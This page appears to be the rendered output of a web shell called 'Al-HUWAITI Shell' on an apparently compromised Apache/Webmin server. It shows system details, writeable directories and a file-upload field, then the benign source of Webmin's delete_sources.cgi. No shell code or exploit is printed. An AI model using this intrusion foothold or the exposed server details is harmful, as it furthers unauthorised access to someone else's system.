hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /usr/share/webmin/syslog-ng/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/webmin/syslog-ng/delete_sources.cgi
#!/usr/bin/perl
# Delete multiple sources

require './syslog-ng-lib.pl';
&ReadParse();
&error_setup($text{'sdelete_err'});
@d = split(/\0/, $in{'d'});
@d || &error($text{'sdelete_enone'});
foreach my $d (@d) {
	&check_dependencies('source', $d) &&
	    &error(&text('sdelete_eused', $d));
	}

&lock_file($config{'syslogng_conf'});
$conf = &get_config();
@dests = &find("source", $conf);
foreach my $d (@d) {
	($dest) = grep { $_->{'value'} eq $d } @dests;
	$dest || &error($text{'source_egone'});
	&save_directive($conf, undef, $dest, undef, 0);
	}

&unlock_file($config{'syslogng_conf'});
&webmin_log('delete', 'sources', scalar(@d));
&redirect("list_sources.cgi");

Al-HUWAITI Shell